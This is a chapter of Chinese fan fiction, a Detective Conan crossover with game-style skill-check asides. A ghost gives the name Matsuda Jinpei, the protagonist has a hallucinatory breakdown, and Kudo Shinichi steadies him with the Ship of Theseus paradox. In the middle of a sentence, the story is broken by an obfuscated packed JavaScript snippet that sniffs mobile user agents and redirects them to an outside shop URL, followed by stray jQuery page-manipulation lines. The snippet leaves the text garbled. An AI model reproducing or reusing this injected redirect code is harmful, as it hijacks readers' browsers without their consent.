飞川响:“……”
【通情达理】——这绝对不是他的名字,至少不是他的本名。他连一秒钟的犹豫都没有,太丝滑了。
【故弄玄虚】——能这么毫不犹豫地说出来,也说不准是他的本命?
飞川响:“…………”
【同舟共济】(极难:失败)——这是一种经典的警察做派。他不想完全拒绝你的好意,所以顺手拿了某个关系极好的倒霉损友的名字做挡箭牌吧!没错,大概就是这样。你完全猜不透他真实的社交动机。
飞川响:“警官先生,这绝对不是你的真名吧……我也没那么好骗的。”
被“当面”拆穿的幽灵警官却没有表现出任何的心虚或尴尬。他那原本充满活力与笑意的声音,开始以一种自然、恰到好处的感觉减弱了下去。
【亡魂来电】——“哎……被看穿了吗?”
幽灵声音轻得像是一声随时会碎裂的叹息:“我已经离开人世太久了,久到连自己真正的名字,都快要在风里散开了……你就当做这是我的名字,不可以吗?”
【亡魂来电】——“就当是满足一个连实体都没有的可怜幽灵,在这个世界上最后一点微不足道的虚荣心吧……拜托了,小飞川。”
飞川响倒吸一口凉气。
他能清晰地感觉到,自己那贫弱的心理防线,刚刚被一个MAX级别、极难成功的【循循善诱】给正面击中了!
这种融合了无辜、可怜、甚至带着点顺水推舟的示弱感……呃!他刚刚绝对被扣HP了吧!好可怕!
“好好好,停!打住!”飞川响赶紧举起一只手做出投降的姿势,仿佛再听下去自己就要变成什么欺负烈士亡魂的千古罪人了:“松田阵平是吧?行,我知道了。”
他无可奈何地重新握住自行车把手,推着车继续往前走,妥协道:“我会去琢磨怎么供奉这位‘松田阵平’的。不管你这个从炸弹底下救了我的幽灵到底叫什么名字,总之,供奉也少不了你的。”
【亡魂来电】——*一阵得逞后的轻快笑声*
飞川响只能无奈。
不过……松田阵平。
他在心里默默咀嚼了一下这个名字。不知道为什么,这四个字在他的舌尖上滚过时,带来了一种微妙的熟悉感。就好像他曾经在哪里见过,或者听过这个名字。
【博学多闻】(极难:失败)——松田阵平……松田……你的脑海里仿佛有一个生锈的档案柜。你用力拉了拉把手,但它卡死了。你只隐约觉得这个名字可能出现在某张旧报纸的角落,或者是某条电视新闻的走马灯里,但具体是什么,你完全想不起来。
【逻辑思维】(中等:失败)——线索严重不足。这可能只是个大众化的日本名字组合。你每天在米花町的街道上路过那么多人,听到一两个重名也没什么好奇怪的。
【内陆帝国】(简单:失败)——一片模糊的黑白雪花屏。什么都没有。
一连串的检定失败让飞川响的大脑有些发胀。他放弃了这种徒劳的回忆。算了,反正米花町每天都在发生各种大新闻,他哪有那么多脑容量去记住每一个路人的名字。
不过,既然幽灵提到是“供奉”,那这个松田阵平应该也已经去世了。
太阳落得很快、暮色已经完全沉了下来。当他站在自家院门前时,二楼的窗户毫无意外地漆黑一片。
飞川响低头打开手机看日历,嗯,果然,没记错的话,父亲大概要乘坐明天清晨的红眼航班才能落地东京,而母亲还要在大阪待上三天。
他伸手去摸口袋里的钥匙。
有无形之物以后遗症之名轰然砸中了他。
是偏头痛…吗?原来偏头痛这么严重吗?无数根生锈的钢针,粗暴地顺着他的脑神经一路往里扎,仿佛要将他的头盖骨生生撬开。他差点栽在自行车上。
【亡魂来电】——“小飞川?你怎么了?”
【天人感应】(简单:成功)——米花町的晚风带着凉意穿过街道,温柔地抚摸着你汗湿的额发。这座城市感觉到了你的痛苦。它在悲鸣。它那庞大而粗糙的意志看着你这具快要崩坏的皮囊,仿佛在叹息:“他好小,好脆弱。他那细瘦的脖颈连自己的头颅都快支撑不住了,为什么要让他装下那么多的死亡与尖叫?”
【天人感应】——“不如帮帮他,把它摘下来吧?”
【天人感应】——“把那颗盛满痛苦的头颅摘下来,放到我的泥土里。你就再也不会疼了。来吧,好孩子。”
这他○的是米花町还是莎乐美啊?飞川响在心底咬牙切齿地痛骂,但剧痛让他连在脑子里开个玩笑都变得极其困难。他低下头,看见自己的手指在痉挛。
他靠着的自行车也开始发出轻微的金属摩擦声。
【内陆帝国】(中等:成功)——世界在你的眼底发生了严重的扭曲。路灯的光晕被拉长成一张张嘲弄的人脸。你那过载的精神力如同失控的核反应堆一般溢散了出来,赋予了周遭死物短暂的“生命”。你感觉到身下这具冰冷的金属车架,仿佛变成了一具生锈的、却带着奇异温度的骨骼,它正在笨拙、甚至带着几分残忍的爱意,支撑着你摇摇欲坠的身体。
【你忠实的自行车君(?)】——“……你压疼我了。不过没关系,你可以再靠得紧一点。”
【你忠实的自行车君(?)】——“我的新链条很结实,能把你绞死在车轮里。”
【食髓知味】(极难:失败)——跑!!!推开它!它不是你的车!柏油路面正在你的膝盖下软化,它变成了一整块巨大的、正在蠕动的黑色胃壁!那些更换的新零件是寄生虫,它们正在冷酷地打量你这具散发着活人鲜血甜味的身体!
飞川响闭上眼睛,想,坏了,原来这才是真正的幻听和精神分裂。
他像是触电般猛地推开了那辆自行车。
它好陌生。它像是一个用一堆不属于这里的冰冷零件拼凑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320964|199050||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
起来的科学怪人。
不只是自行车,周围的一切都好像变得奇怪,他好像听见有谁隔着水在叫他的名字。
【亡魂来电】——“……飞川!”
他陷入彻底的混乱,扶着自己的头:难道米花町真能说话不成?
【亡魂来电】——“不要去看!不要去看——”
他认识这个人吗?这个人是在这栋房子里吗?为什么灯黑着?那是门还是一张嘴?
换掉了、不认识,地上这堆金属是我的车吗?咦、车是什么……我又……
【坚韧不拔】(极难:失败)——你是谁?飞川响?不,那只是一个空洞的代号。你只是一具装满了死人回音的、廉价的□□垃圾桶。你甚至连自己这微弱的心跳声都无法掌控。
【见微知著】(困难:失败)——抬头看。你面前那栋没有开灯的两层小楼,门框正在扭曲、拉长。那不是门,那是一张正在滴着黑色涎水的巨口;二楼那两扇黑洞洞的窗户,正死死地盯着你。它在等你走进去,然后合上牙齿。
“忒修斯之船。”
一个清朗、冷静,带着其主人特有笃定与理性的声音,如同破开混沌的一把利刃,突兀地在飞川响的头顶上方响起。
他艰难地抬起头,那些疯狂的、令人窒息的碎语,在听到这个声音的瞬间,像是遇到了天敌般仓皇退去。站在那的人是工藤新一。
工藤新一低头看着他,路灯投下他的影子、恰好罩在飞川响头顶。
他下午时又遭遇案件,便让兰和园子先去玩,破案的过程中又听到目暮警官提及未遂爆炸案,用文具剪刀拆C4的、姓“飞川”的高中生,还满嘴跑火车说自己在神奈川学的拆弹……果然是这家伙。
他低头看着同班同学惨白如纸、满布冷汗的脸,刚才把这个“灵媒”神经质且战栗的自言自语尽收耳底,现在是更加相信了阿笠博士之前的说法。
“公元1世纪,普鲁塔克提出过一个著名的悖论。”工藤新一说,弯腰扶起飞川响身边的自行车:“如果一艘名为忒修斯的船,它在海上的航行中,木板一块一块地腐烂,又一块一块地被替换成新的木板。直到最后,这艘船所有的木头都不再是最初的那一批了。那么,它还是原来的那艘忒修斯之船吗?”
“……”他看到飞川响涣散的瞳孔微微缩放了一下。
工藤新一说:“我觉得、即便所有的材料都被更换,只要你还认为它是,它就依然是你的自行车。”
【逻辑思维】(中等:成功)——理性的光辉重新照亮了你那被幻觉侵蚀的脑海。是啊,零件只是载体。你依然是你。
“需要我拉你一把吗?”
【平心定气】(简单:成功)——那只伸过来的手稳定、温热。幻象如泡沫般碎裂。那张开着大嘴的怪物房屋,重新变回了你那虽然没有开灯但可以遮风挡雨的家;捕兽夹也终于变回了那辆刚修好的通勤自行车。
你安全了。